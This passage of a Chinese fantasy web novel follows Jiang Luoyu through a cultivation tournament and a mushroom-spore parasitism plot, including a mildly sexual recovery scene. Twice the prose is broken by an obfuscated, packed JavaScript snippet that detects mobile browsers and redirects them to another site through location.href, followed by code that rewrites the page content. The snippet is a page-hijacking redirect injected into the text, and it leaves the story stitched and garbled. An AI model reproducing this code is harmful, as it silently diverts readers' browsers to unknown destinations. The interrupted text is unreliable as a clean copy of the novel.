凝星也被这突如其来的变故吓了一跳,扶起迦南月马上探入灵丝想为其探查,结果被烫得尖叫一声,脑袋上飘落几片枯萎的花瓣。 迦南月也再度躺回了姜洛玉的肩膀上。 “快将他们放下!”凝星打了一道水柱到何在夕手掌,何在夕试图触碰丛明雪的手缩了回去。 左右肩膀各躺着一个火人的姜洛玉:“……” 他指了指自己:“没人管我吗?” 凝星露出右手已经碳化的手指,苦笑:“境主,非是我不管,实在是管不了啊?” “你刚才不是隔着衣服扶的我娘吗?”姜洛玉错愕地掀起领子瞧了瞧,看见完好无损的肩膀松了口气,“这怎么回事?” 何在夕:“看着像某种不知名的法术,又像是……毒?” 离昼撤去其他人的桌椅,带着颈侧冒出的两条阴阳蛇走了过来。他绕着三人看了几圈,重点观察了丛明雪和迦南月身上冒出的热气。 木质的宫殿光线没有那么亮,他对着阳光仔细看了半天,从热气上看出了斑斓的色彩。 姜洛玉也看见了,毕竟他离得最近,那些亮晶晶的颜色越来越明显,甚至就连两人的脸色也开始变得……色彩浓郁。 像毒蘑菇上才有的绚丽色彩。 红楹套了一层涅槃火在手上,伸手在彩色热气里搅动两下,收回来时手心只剩下了一层亮晶晶的彩色粉末。 她得出结论:“不是毒,似乎是某种植物的……种子?” 凝星取了一点粉末,放进法器里检验来源。 几个呼吸过后,她将粉末收到了玉瓶里,道:“这是蘑菇的孢子。” “孢子?”他调整了一下两人靠在他肩膀上的姿势,接触的时候除了烫手没有别的变化。“那为何你们直接触碰会被灼烧,我却没事?” 垢姬蹲下身,接回被烫掉一只腿的小毒蛛:“这就不得而知了。” “或许等他们醒过来,我们才能得知真相。” 姜洛玉与丛明雪命脉相连,又在迦南月恢复记忆后与其因果相通,自然能感受到两人并无生命危险。 除了他之外的任何活物又无法靠近,虽说肩膀上热是热了些,好在他能够忍受得住,于是便坐在椅子上静静等待。 另外六人见状,也只好重新坐下。 众人心知肚明,一提及那仙盟盟主不对劲之处,这两人就晕了过去,真相也一定和那白卅脱不了关系。 闭上眼的姜洛玉很快就进入了一种玄之又玄的状态,他觉得自己轻得像一片云,在空中肆无忌惮地遨游。 游着游着,他撞到了树干上。 姜洛玉一头雾水地坐起身子,打量眼前五人合抱都抱不住、还看不见树冠的树。 其实很难想象这么一棵透明且流淌着金色粉末的东西会是树,他第一眼看见的时候还以为是什么特殊的藤曼。 但直觉告诉他,这就是——是一棵奇怪的树。 这地方除了他和树,只有白茫茫的云海。天地皆白,日耀而风清,他坐在云雾里,呼吸间满是水汽的潮湿,让他有些喘不上气。 “无相?”姜洛玉试探着召唤无相球,无人应答。 他爬起来走向对面的金色树干,将手贴了上去。 和“天道”对话时感受过的气息顺着树干传了过来,姜洛玉错愕地抬头,忽而看见了如同海水迸溅形成的树冠。 上面的树叶也呈现出半透明状,不一样的是里面比树干多出了一些黑色杂质。 没等姜洛玉看清杂质的形状,“轰隆”一声巨响后,金树消失不见,只余下遍布在天地间的金色雾气。 “消失做什么……神神秘秘的。”他只好悻悻放手,打算四处探查一下。 还未转身,眼前突然爆发出强烈的金光。 姜洛玉没感觉到危险,可金光太甚,他只好闭上双眼。 金光散去,他的对面多出了……一面金光闪闪的文字。 “半生疯来半生癫,金龙紫气锁云烟。呕心沥血开疆土,故国早逝偿恩怨。” 姜洛玉挑了挑眉,表情微妙,接着向下看去。 “不是魔来又非仙,万夫所指口难辨。连天战火因果染,情天恨海亡人间。” 他收回视线,低头看了看自己逐渐变淡的身影。 结合之前玄之又玄的气息,如果没猜错,这金色的字迹是天道的“批命”。 前两句一眼便知写的是他上一世,“锁云烟”里的云烟大概是代指他的本源三清之气。 那后两句话呢? “不是魔又不是仙?也对,我现在其实算妖。”姜洛玉趁着还没离开此地,走上前抓了几下拳头大的金字,“万夫所指……难不成说的是琼山秘境那次?” “真相大白又何来‘口难辨’一说?” 姜洛玉眸光深邃,低头再看,身体已经消失一半儿了。 龙腾榜前十才能得天道批命,他排在最后一位,天道也给他批命……逻辑上说不过去。 修真大比引得这么多天之骄子参加,除了丰厚的奖品,就是这天道的批命了。 每个境界的前十名都会得到批命,具体是什么外人无从知晓。这东西就算有人用法术搜魂也搜不到,被批命之人也说不出去。 不 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“麻烦大家帮忙照顾我娘他们两个了。”他用清洁术扫去一身颜色迷幻的孢子粉,眉眼间挥之不去的笑意消失得无影无踪,严肃又冷漠。 凝星看出不对,刚想开口询问,就被离昼拦了下来。 离昼:“境主放心,有我们在一定不会让风止他们有事。不过您现在,倒是让我们担心啊……” “我没事。”姜洛玉摸上腰间玉佩,瞬间出了三清秘境。 到了比赛场地,他习惯性望向石台。丛明雪的位置不知何时已经换成了尘极,而白卅的位置也变成了玄极宗的宗主。 接下来两天的战斗,姜洛玉都没碰上天骄榜前十的修士。 直到大比第四天,他的对手变成了打扮得花枝招展的男修——天骄榜第五,问仙岛赵珏。 赵珏也没想到自己会撞上姜洛玉,第四轮抽签的一共有二十二个人,无人轮空。 满打满算天骄榜叫得出名字只有五个,还是算上他的结果。偏偏他倒霉,抽到了不知底细的姜洛玉。 这几天观察下来,他得出结论——姜洛玉这个让众人惋惜、不屑又吃惊的仙尊弟子,重修之后绝对学了什么不可告人的功法。 三场比赛下来,那些和姜洛玉对决的修士无一例外全都精神恍惚,看起来似乎遭受了巨大的打击。 其中恰好有一个赵珏的同门师弟,他下午扒着门敲了半天才敲开,刚说了“姜洛玉”三个字,没精打采的师弟瞬间涕泪四溅,抓着他的衣服开始胡言乱语。 “师兄救我呜呜呜……我恨她可是我不想伤她……不对我为什么下不了手?救我啊师兄我满脑子都是她我是不是要生出心魔——” 提取到“心魔”两个关键字,赵珏直接把师弟打晕过扔给了领队长老。 “天正宗姜洛玉,请指教。” 姜洛玉落到擂台上,一身金纹玄衣,黑眸多了几分冷漠。 赵珏束起头发,晃了晃满脑袋头饰,也规规矩矩地行了个礼,笑道:“问仙岛赵珏,请道友赐教。” 47.穿越第四十七天 剑与剑的交锋在细雨里开展。 姜洛玉抽出玄衣剑,屈膝借力跃起三丈之高。 赵珏不甘落后,同样跳到半空拔出飞仙剑。 飞仙剑是一柄很淡雅的白色长剑。上面没有和主人一样花花绿绿的装饰,只在剑柄镶嵌着一颗圆滚滚的红色玉珠,浑身萦绕着一层水蓝色的雾气。 他脸上笑得灿烂,轻飘飘道:“道友,我这招叫——玉衡飞雪!” 顷刻间,赵珏手中的长剑斩出,气势如虹,擂台的雨丝忽地下起了纷纷扬扬地雪。 那雪寒冷至极,却又带着绵绵柔意。月牙状的白色剑光如有实质,直直扑向对面! 纷飞的雪花不经意间在脸上擦出一道细小的伤口,姜洛玉蹙了下眉,语气波澜不惊:“日月同天。” 剑招说出来都是几个字,可身体里的功法却早就转了几圈,做了完全的准备。 日月二字一出,玄衣剑也跟着劈了下去。 赵珏似乎听见了亘古传来的叹息,分神向姜洛玉身后望去,只见日月并肩而起。 金日灼灼,银月盈盈。出现刹那,整个擂台变得一半酷热一半阴冷。 而赵珏,刚好处在两者中央。 左半侧身体有如承载着烈火,右半边又似乎变成了寒冰。 挥剑的动作慢了下来,赵珏清俊的面孔变得扭曲,只得咬牙扛着剧痛继续向前冲去。 两剑相交,日月和剑光撞在了一起。 “砰——” 灵气爆炸的余波穿透结界,一切发生在瞬息之间。 “这还是人么……”东方顺看了半天,只能看见擂台结界里的灰烟,愣是没看见到底谁赢了。 十有八九是姜洛玉。 不是东方顺吃里爬外胳膊肘外拐,而是这两人对决的招式根本没有可比性。 天正宗和问仙岛屹立多年,门派绝学里的剑招名称早就传遍了整个修真界。赵珏修习地《天枢长生剑法》一共七式,这玉衡飞雪是他金丹期能发挥出来最大威力的剑招。 而姜洛玉用出来的“日月同天”,则是《正天诛魔剑法》十八招中的第十二招。 《正天诛魔剑法》作为天正宗的绝学,引动天地日月之力,每一式剑招都带着凛然正气。虽内门弟子人人可学,但真正能学到精髓的凤毛麟角。 前六招为日,至阳至刚,中五招为月,至阴至柔。从第十二招开始日月共生,阴阳流转。 可“日月同天”明明炼虚修士才能修习,他姜洛玉一个金丹修士运用得如鱼得水…… 东方顺也想不明白。 但他这下能确定,姜洛玉前几日在隐藏实力。 结界的浓雾好一会儿才散去,看守的化神修士看清擂台状况,一锤定音:“姜洛玉——胜!” “道友,还活着吗?”姜洛玉靠着玄衣剑,慢悠悠拿出凝星调制的祛疤膏往脸上抹。 擂台的大坑里,他只能看见一个黑成碳的人影,法衣倒是留了几片在身上。 赵珏吐出一口黑烟,黑长直的头发变成了大波浪。 一招。 他连一招都没挺过去。 可谁家金丹修士能使出炼虚修士才能用的剑招啊! 姜洛玉擦完膏药,淡淡道:“你在想什么,想我为何能用出‘日月同天’?” 赵珏双目无神地点了点头。 姜洛玉:“当然是因为——我天资卓绝。” 赵珏:“……” 姜洛玉说完收起玄衣剑,站到坑边弯腰,脸上露出一丝玩味的笑:“让我看看……你心里最挂念的人是谁?” “什、么?”赵珏眼前一黑,再恢复视线,对上了一张干瘪如橘皮的脸。 他的外祖。 在小渔村将他养到六岁的外祖。 被海里妖兽分食的外祖。 撑着一口气,将他送到问仙岛弟子手里的外祖。 “阿公……您来接我了?”赵珏轻飘飘地开口,虚弱得仿佛下一秒就要魂归西天。 没得到什么炸裂信息,姜洛玉见状拍了拍手上的尘土,跳下去给赵珏嘴边塞了一颗丹药:“吃吧,给你买的糖。” 糖? 赵珏看见了一颗圆滚滚的糖瓜,边哭边笑地张开嘴巴。 丹药化作清流灌入喉咙,最后流入丹田。赵珏有了力气,扯着自己早就化为白骨“外祖”的袖子毫无形象的大哭起来。 就算“外祖”的模样再度变成了五官明艳的青年,他依旧没放手。 赵珏自认为意志还算坚定,可摆在面前的事实是,他明明反应过来一切都是假的,还是对姜洛玉根本生不出一丝厌恶。 他哽咽着发问:“你、你到底修了什么邪术……” 有人窥探他的记忆,变成他故去亲人的模样,放在平时他早就提剑将人打得亲妈都不认识了。 偏生他现在恨也恨不动,气又生不出,甚至对姜洛玉产生了一种诡异的孺慕。 姜洛玉扯回袖子,用帕子慢慢擦拭上面黑色的手指印,不紧不慢回道:“怎么会?不过是些不入流的功法,说来我也算全了道友一桩心事。” “你不谢我,反而说这是邪术?” “我……”赵珏哑口无声。 姜洛玉确实帮了他。 这么多年,他唯一能称得上执念的东西,是收殓外祖尸骨时,在他断肢手心里发现的糖瓜。 糖瓜因为高热融化成了一滩,黏在那双枯瘦的手上。他扯不下来,也不敢扯,那样会毁坏外祖的尸身。 安葬外祖后他被问仙岛的弟子带了回去,此后每逢新历,脑中挥之不去的便是染了血色的糖瓜。 一年又一年,虽然他因《天枢长生剑法》不会被心魔所扰,可午夜梦回,依旧会痛恨自己那时的无能为力。 姜洛玉将玄衣剑收回剑鞘,摸出个玉瓶递了过去:“方才我一时不查用错了剑招,这极品化灵丹就当是赔礼了,它能化去道友体内残留的日月之力。” “多谢。”赵珏掐诀将自己收拾干净,忍着身上的冰火两重天接过药瓶。 他神情复杂地看了一眼姜洛玉,这才舍得跳下擂台。 “尘极,有此等少年英才,怎么还藏着掖着不让大家伙知道?”问仙岛岛主揶揄道。 尘极道君颇为坐立难安,只得干笑道:“哪里哪里,我这师叔天生不爱外秀。” 《正天诛魔剑法》什么时候能越这么多阶修炼剑招了?他修炼得难不成是盗版? 不过有外人发问,肯定是要为自家人兜底的。 尘极道君满脸欣慰地补充道:“我也没想到师叔年纪轻轻,竟然有如此悟性。祖师爷在 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他只能看出来姜洛玉用的功法能窥探记忆和幻形。即使《天枢长生剑法》能破障,他依旧全心全意的把姜洛玉看作了早都不知道轮回了多少世的外祖,甚至还冒出外祖过来接他去冥界的荒唐念头。 何等恐怖的功法。大概除了修习无情道之类的修士,才不会被他窥探到心中执念。 浮空殿。 “怎么还没醒?” 姜洛玉舒展的眉头再次皱起。 靠椅上的两人依旧浑身冒着彩色的热气,脸上的幻色倒是褪到了脖子。 凝星咳了咳:“那个境主……你走之后他们脸上的幻色开始逐渐褪去,我猜测大概等这些幻色消失,他们就能醒过来。” “不过我们近不了身,无法观察他们身体上是否也带着幻色。” 姜洛玉:“好,我知道了。” 他看了众人一眼,果断抱起丛明雪,身形一闪出现在了弟子居。 弟子居早就布置好了结界,也不怕外人窥探。 把人放在了床榻上,姜洛玉这才露出了微妙的表情。 他先是分出一条灵丝,试探着想要接近丛明雪。可惜灵丝刚一探入体内,就被经脉里惊人的温度融化。 看来只剩下一种方法了。 姜洛玉把玄衣剑收回识海,又封了无相球对外的感知。 一双修长漂亮,指尖透着微粉的手,勾住了床上人的腰带。 窸窸窣窣的声音像是雨丝落入湖面,泛起了涟漪。 一层又一层,扒到最后姜洛玉的鼻尖甚至冒出了细汗,从脖子一直红到了耳根。 他还是……第一次单方面和人坦诚相待。 最后一层束缚也被扔了出去,余光瞥到正在调养的那处,姜洛玉红着的脸瞬间变得难看。 虽然是彩色,放在上面也不丑。就是形状……这东西是刑具吗? 他面无表情地在上面盖了条帕子,没完全盖住,又加了一条。 没了“有碍观瞻”的东西,姜洛玉这才观察起丛明雪皮肤上的幻色来。 整体上已经褪了一半儿。不过不是从头开始褪色的,而是头尾并行。 “嗯?” 他对上了一双五颜六色的眼睛。 48.穿越第四十八天 晶莹剔透的眼珠里闪耀着迷幻的色彩,那些绮丽的颜色揉杂在一起,又重新分散。 就像是被异种寄生了一样。 姜洛玉摸不准丛明雪现在是个什么状态,决定先下手为强将其控制。 翻出能控制渡劫修士的缚仙锁,二话不说直接套了出去! “喀嚓”一声后,缚仙锁裂成了六瓣,在彩色孢子侵蚀下变成了齑粉。 颜色迷幻的粉末从丛明雪指缝里流下,落在地面。 “你身上……为何没有神种?” 神种? 什么玩意儿? 姜洛玉没时间思考,又是数个法宝丢了过去。 全都没用,带着灵气地落在他身上当场就化成了彩色热气,不靠灵气全靠质量的没几下就被揉成了废铁。 丛明雪皱着眉把手里的一方镇天印团成了一团,揉完才迟钝地发现掌心多了道露骨的伤口。 他不解地扔掉镇天印,看向对面“攻击”自己的青年。 在他略微模糊的视线里,青年身体里藏着一团刺目的能量。 很强……可扬起的眉、漆黑的眸子还有那颗唇上惹眼的红痣又显得他格外漂亮。 不只是漂亮,他觉得对面的人很熟悉。 丛明雪烦躁地拍了拍脑袋,想知道对面的人和自己有什么关系。 可他连自己是谁都想不起来。只好拄着床铺,想借力站起。 一尘不染的床铺染上了血色。他看着那抹红,拿起落在身侧的帕子,开始认真擦拭手心。 姜洛玉想摇人的手僵在半空——镇天印有效果。 这镇天印是能削弱天雷的法宝,天雷有何天道息息相关,丛明雪修习之道又是天道。 那是否说明,和镇天印类似效果的法宝,都能对他产生伤害? 只是片刻犹豫,床上赤裸的人影身形一闪。再出现,就跑到了他对面不到一寸的地方。 可丛明雪刚才明明没有修为! “丛明雪!” 丛明雪眨了眨眼睛:“你在叫我?” 姜洛玉后退一步,手里的锁天铐以迅雷不及掩耳之速—— 糟了,动不了。 丛明雪定住姜洛玉,把金灿灿的锁天铐拿在手里翻来覆看了半天。 “你喜欢这个?” 姜洛玉没出声,借着丛明雪还没想起来封他灵力,疯狂呼叫三清秘境里的一群神君。 “快来人,出事了!” 管他什么裸奔不裸奔,破不破廉耻的,反正说到底都是一坨肉。 想起刚才丛明雪嘴里冒出来的“神种”两个字,姜洛玉甚至怀疑白卅是神主派来“感染”修真界的部下。 “境主你那儿怎么样了?我们暂时去不了,风止暴走了!她现在堪称刀枪不入水火不侵,我们被困在她的结界里出不去!” 红楹边说边用涅槃火抵挡迦南月扔过来的一片又一片花瓣:“气死老娘了她这破花怎么这么烦人?!啊——药辛是不是也暴走了?” 暴走? 姜洛玉人都麻了,只得道:“阿雪还没有。你们先和我娘周旋,我这儿暂时安全。” “再者我与他命格相缠,他现在脑子不清楚,估计也不会轻易对我出手。” 最关键的是,他没感受到丛明雪对他有恶意。 “境主。”离昼的声音透过玉佩传进识海,“方才风止提到了我们身上没有‘神种’,可以确定背后搞鬼之人定和神主脱不了关系。” “神种是什么?” 联系切断了。 他的灵力也被封印了。 丛明雪凑得更近了,微微欠身,鼻尖几乎要贴上对面人的唇:“为什么不回答我?” 姜洛玉:“喜欢。” 丛明雪垂下眼,顺从心意,在他唇上啄了啄:“那你喜欢我吗?” 两唇相贴,带来对方身上淡雅的清香,分开后的余韵扔丛明雪愣了愣神。 好软……好喜欢。 姜洛玉:“……” 这两个问题有什么关系吗? “为什么不拒绝我?”丛明雪回过神,想到了很严肃的问题。 他按住唇上那颗艳红的痣,用力磨了磨。 更红了,就滴血。 姜洛玉:“因为我们是道侣。” “道……侣?”丛明雪摇头,“你我身上没有道侣契。” 姜洛玉眨眨眼:“那你为什么亲我?” 丛明雪:“……!” 他为什么会亲他? 想不通的丛明雪缓缓蹲在墙角,身体很快就被彩色雾气笼罩得密不透风。 姜洛玉趁着雾气浅淡的时候,看见丛明雪身上的幻色已经褪到了肚脐之下,大腿之上。 颜色一直在褪……按照凝星的猜测,颜色褪去大概就是他们恢复正常之时。 姜洛玉只得把希望寄托在这上面。 “因为我想亲。还有,你又没回答我的问题。” 姜洛玉有些无奈,语气带上点哄人的意味:“当然喜欢你。” 更加灼热的吻落了下来,姜洛玉后知后觉丛明雪解了自己的定身咒,灵力倒是没恢复。 他倒是不介意和丛明雪亲近,可现在的状态实在是过于诡异,于是只好一边应付丛明雪一边思考怎么才能把他控制住。 发现了怀里人的不专心,丛明雪恢复一半绿色的眸子闪过暗光,唇齿分开后,揽着人一个转身,将人压在了榻上。 天旋地转,姜洛玉反应过来后推了推丛明雪的脑袋:“别乱来啊,现在不是时候。” 过分灼热的东西贴上他的大腿,姜洛玉理了理散乱的衣衫,有些意外。 这是……修养好了? “有何不可?”丛明雪盯着身下的人,被他耳朵上的耳坠吸引了视线。 青玉、金莲、明珠、红穗……上面有他的气息。” “我送你的?” 姜洛玉“嗯”了一声,道:“现在当然不可以,我又看不见你的脸。” 和一团雾亲了这么久,他刚才接吻的时候偷偷睁眼睛,愣是没看见一点轮廓。 “那你看见我……就能——” 姜洛玉凭直觉伸手捂住了他嘴:“看见再说。” 丛明雪在带着薄茧的指根上吻了吻,收回了身上的雾气。 幻色只剩了下腹处两厘米宽一条,连丛明雪眼睛的颜色也恢复大半。 胜利在望,姜洛玉看了一眼幻色下方,决定动动手拖延时间。 半柱香之后,姜洛玉随意捡起那条沾了血的帕子,擦着手上的粘腻。 最后一丝幻色消失了。 丛明雪似乎做了一场漫长的梦,梦里他又变成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14954765|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初悬崖上的野葱,不知年月的生长着。 直到有一天,采药的老人不小心掉了一颗生姜种子在他身边。于是他便多了一个爱说话的“同类”。 然后…… 不对。 他先是看见了自己□□身体,还有姜洛玉似笑非笑的表情,以及……他手心里还未擦拭干净的东西。 丛明雪先是平静地给自己穿上衣服,又用法术祛除屋内的异味,最后解开了姜洛玉被封印的灵力。 姜洛玉用法术擦干手,托着下巴看过去:“这下正常了?” 丛明雪沉默着点头,耳尖通红。 “境主,风止恢复正常了!还需要我们过去吗?” 姜洛玉:“不必,阿雪也恢复正常了。” 他说完站起身,走到丛明雪对面,挑起他的下巴蜻蜓点水亲了一下,伸出手:“走吧,回三清秘境。” 丛明雪拉住姜洛玉的手,两人瞬间回了浮空殿。 殿内一片狼藉。 地板几乎都被掀了起来,连柱子也难逃一劫,穹顶塌了一片。 仅剩的完好地板四仰八叉躺了一片,只剩下离昼和迦南月盘坐着。 “玉儿你回来了!”迦南月一跃而起,直接用灵丝给他做了个检查。 确认姜洛玉没有受伤后,迦南月悬着的心终于落地。 姜洛玉:“娘你没事吧?” 迦南月:“我能有什么事,你关心关心他们还差不多。” 倒地众人:“……” 离昼:“既然境主回来了,那就开始吧。” 姜洛玉挥手将浮空殿复原,待到众人落座,开门见山:“娘,你和阿雪刚才究竟是怎么了?” 迦南月和丛明雪对视一眼,异口同声:“寄生之法。” 姜洛玉:“这法术和神种又有什么关系?神种是蘑菇的孢子?” “别急。”迦南月喝了口灵茶,“且听我二人慢慢道来。” 丛明雪:“神种的确是蘑菇孢子。” “而那白卅本体,就是活了十万年的‘惑心蔁’。” 姜洛玉头顶缓缓冒出一个问号:“白卅是妖修,你怎么知道?” 丛明雪:“是我师父说的。他云游之前特意将此事告知,并且嘱咐我万万不可说出去,自己提防白卅即可。” “师父是除了你……我接触到的唯一一个察觉白卅不对劲儿的人。” “继续说惑心蔁吧。”迦南月朝着凝星示意,“凝星姐姐想必知晓惑心蔁的能力。” 凝星严肃点头:“惑心蔁能将孢子重在修士的经脉里,等到它生根发芽之后,便能控制修士的动作。” “菌丝会一直向上爬,知道爬到脑子里,最后入侵识海,彻底占据修士的躯壳。过程中,修士会将惑心蔁本体看做世上最完美无缺的东西,从而对其进行保护。” 那伽:“开玩笑吧,按你们刚才说的,修真界提起那仙盟盟主都赞不绝口。他就算是个蘑菇成精,还能让孢子遍布整个修真界?” “蘑菇都修仙了,传个孢子又有何不可?”垢姬摆弄着手里还在重新长腿的小蜘蛛。 那伽:“那药辛两个刚才是体内有那蘑菇的孢子?可我们、还有境主体内怎么没有?” 离昼掀起眼皮:“或许,三清秘境有什么特别之处。” 特别之处? 49.穿越第四十九天 “我怎么没发现有什么特殊之处?” 姜洛玉闭上眼,眉心露出代表着三清秘境境主身份的金印。浓郁的灵气以他为中心被疯狂吸收进身体,神识化作气流融入进风里,瞬间笼罩住整个三清秘境。 别说孢子,他这秘境连个蘑菇都少见。 至于有什么特殊的地方……姜洛玉睁开眼睛,恍然大悟:“白卅难不成感染不了和三清之气有关的东西?” “极有可能。”迦南月赞同道,“至于我二人为何称惑心蔁的孢子为‘神种’……” “其实我们也说不出什么来。” 丛明雪:“察觉到白卅异常之处后,我身上的经脉先是一阵剧痛,痛感过去便失去了意识。” “苏醒后记忆全无,控制不了身体,直到身上的惑心蔁幻色消失后才恢复清醒。” “不过……白卅为何回来这次修真大比?”姜洛玉想起抽签时那股找不到来源的窥视,心里一阵恶寒,把猜测说了出来,“我怀疑他发现我身上没有孢子了。” 丛明雪:“他走得匆忙,似乎是仙盟出了什么急事。” 凝星的灵丝隔着桌子为两人诊治片刻,道:“惑心蔁的特点是尚未寄生进头颅,被人发现就会自动催化。如果被寄生者意志坚定,修为又高深,孢子就会被经脉里的灵力溶解。” “方才的过程就是溶解过程,不过彩色的惑心蔁我闻所未闻,这才一时失了判断。好消息是这东西溶解之后不会有任何残留。” 姜洛玉:“孢子没能生根发芽也能控制人心?” 凝星摇头:“我知道的惑心蔁没有此等功效,或许是白卅本体变异出的新能力。” “既然你们能叫这恶心玩意儿‘神种’,白卅肯定和上界的某个神脱不了关系。”那伽拿出魂炉来回摇晃,听着里面魔族发出惨叫,“魔界、神界……两方势力都盯上了修真界。” “又或者说,它们两个早就暗通款曲,意欲颠覆六界。”何在夕拍了拍手,“简直是精彩绝伦啊,上面那个靠着颗蘑菇就能控制修真界。” 垢姬点了点蜘蛛的头:“荒唐又可笑。” 离昼:“但这是事实。” “管他事实不事实,我们这么多人还打不过那一个龟孙子?”红楹一拍桌子,“老娘的涅槃火把他烧得渣都不剩,我这就去仙盟把他烧成蘑菇干!” 凝星按住红楹蠢蠢欲动的翅膀:“别冲动。敌方情况尚未明朗,虽然风止和药辛身上的孢子尚未扎根,仙盟高手云集,他们身上是什么状况也需要从长计议。” 红楹“哼”了一声,鼻腔里冒出几簇火苗,烧着了那伽的头发。 那伽惊恐地斩断发丝,火苗又卷上了他的裤脚:“臭凤凰你快灭火啊——!” 兵荒马乱之后,姜洛玉头疼地倚在桌面:“我们不好先动手,白卅在修真界已经出现了两千八百三十年。他若是化成人形后就成了幕后之人的部下,两千多年足够他布下一盘大棋了。” “也许修真界目之所及,全都能变成我们的敌人。” 众人沉默不语。 天道的批命在姜洛玉脑袋里来回乱窜着彰显着存在感,他仔细咀嚼着其中深意,连手指被指甲掐出血也没注意。 有人握住了他的手。 姜洛玉回神,指尖上的血早就被丛明雪擦拭了一干二净。圆桌上所有人都盯着他,迦南月更是满脸关心。 “玉儿,你……没事吧?” “我没事。”姜洛玉勉强笑了一下,抽回自己的手,“当务之急还是得想办法让白卅发现不了你们身上已经没了孢子。” “你们先忙,我去迷雾海逛一圈。” 红楹:“诶境主——” 没人能在三清秘境里拦住他的主人,红楹眼睁睁看着姜洛玉原地消失。 迦南月叹了口气:“药辛你去看看,这边有我在就好。” 丛明雪点头,御风而起,化作流光朝着迷雾海方向飞去。 他收好替姜洛玉擦血的帕子,隔得远远的就能看见迷雾海上飘着一叶扁舟。 姜洛玉趴在船舷上,有气无力地拿着鱼竿,原本黑亮的眸子变得黯淡无光。 舟身向下一沉,熟悉的冷冽气息飘过来,他目不斜视道:“你怎么来了……” “来陪你。”丛明雪坐到姜洛玉身边。 两人就这么沉默着,从日落坐到了第二天清晨。 没有一条鱼咬钩,因为姜洛玉压根没放鱼钩。 “我要去比赛了。”他把鱼竿扔给丛明雪,“你……” “我陪你一起。” 姜洛玉:“你没什么想问的吗?” 丛明雪:“我知道你不能说。” 姜洛玉猛地抓住丛明雪的肩膀,一时找不到自己的声音,好半天才难以置信道:“你……知道?” 丛明雪点头。 “你知道什么了?”他拽着丛明雪的领口,试图从他的表情里看出什么来,“我们两个命格相缠,早就分不开了。既然你知道……所以你也看见了,是吗?” 看见天道给他的批命。不,如果真是这样,那批命里面说的全都是自己吗? 两人越离越近,近到姜洛玉耳上的红穗落到了丛明雪的额角。 丛明雪闭了闭眼,轻声说:“我只看见了一点。” 他看见了金色的树,粗壮半透的树干里流淌着黑色的杂质,仿佛下一秒整棵树就要被杂质撑开一般。 除了树,还有一团混沌的气。它游荡在树的周围,在某一刻落地变成了姜洛玉。 他看着姜洛玉碰到了树身,空气里出现了金色的字。 丛明雪看不清字的内容,只能凭借姜洛玉震惊的表情,以及金树的气息猜测那是批命。 是了,以姜洛玉的实力根本不该待在龙腾榜最后一位。 有批命也很正常。 直到姜洛玉的身影消失,刹那间,丛明雪看清了最后一句——“情天恨海亡人间”。 如果这是姜洛玉一个人的批命,他绝对不会出现。 “你到底看见什么了?”姜洛玉五指用力,抓皱了丛明雪的领口。 丛明雪卸了姜洛玉手腕的力道,站起身,将人抱在怀里拍了拍后背:“我看见什么不重要。” “重要的是,我会一直陪在你身边。” “吼——” 龙腾柱上的盘龙发出雄浑的吼叫,伴随着广场中央铜锣一声闷响,第五天的比赛拉开序幕。 练气、筑基两个境界修每场比斗的时间相比金丹、元婴要快,但因为人数要比后者更多,所以第五天的时候,四个境界都剩下了十个左右的修士。 龙腾柱上每个境界的排名开始飞速变幻,重新按照资质和潜力排名。等到盘龙重归平静,姜洛玉看向金丹修士所在。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958357|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第一名赫然写着——“天正宗,姜洛玉。” 他毫不意外。此前龙腾柱并未将他排在第一,大约是不太确定他的真实年纪。 他这具肉身确实在两百岁之内,可魂魄早就不知道存在了多长时间。特别是他重新成为三清秘境,魂魄上古老的气息就更明显了。 龙腾柱没把他踢出去就不错了,能给他个排名都算给面子。 这下天道又替他批了命,龙腾柱自然也能感受到,天道都承认了,它干嘛揪着不放? 抽签很快结束,姜洛玉扫了一眼签上的“昆仑殿诗沐心”几个字,看见了东北角一身素白还抱着琵琶的女修。 女修长相清丽,眉眼含笑,眉心还带着昆仑殿弟子特有的雪山印记。 “龙腾柱难不成也被他施妖术了?”东方顺拽着赵珏嘀嘀咕咕,“还有你能不能有点出息,别一看见姜洛玉就掉眼泪!” “血口喷人,我哪儿哭了?!”赵珏条件反射擦了擦眼角,没看见水渍,这才松了口气。 东方顺:“哈哈,诓你的又如何?” “东方道友。” 东方顺看着诗沐心轻飘飘地走到自己面前行了个礼,同样拱手回礼道:“诗道友百闻不如一见啊。” 说完腹诽这昆仑殿的音修比赛之前找自己做什么,难不成是要通过交谈给自己下点黑手? 诗沐心柔柔一笑,素白色的襦裙像雪一样融入进了空气:“东方道友多虑了,《妙音玉昆功》可不是说两句话就能让道友中招的。” 东方顺:“你怎么知道我在想怎么?你不会和那妖……一样能窥视人心吧?” 赵珏瞪了东方顺一眼,让他成功把后面那个“孽”字咽了回去。 诗沐心俏皮地眨了眨眼睛:“东方道友性格直率,想什么一看便知。我此番前来,是为了我那不争气的师弟。” “我昨天揍的那个仙鹤?”东方顺蹙眉思考,“他怎么了?” 诗沐心有些无奈:“东方道友的《玄天九幽剑诀》太过霸道,我那师弟中剑无法化解剑气,长老那儿的丹药也……” 东方顺:“好说,我让我宗长老一会儿送药过去。” 诗沐心眉开眼笑:“那我就替师弟多谢东方道友了,小小心意不足挂齿。” 说完推了个玉盒过去。 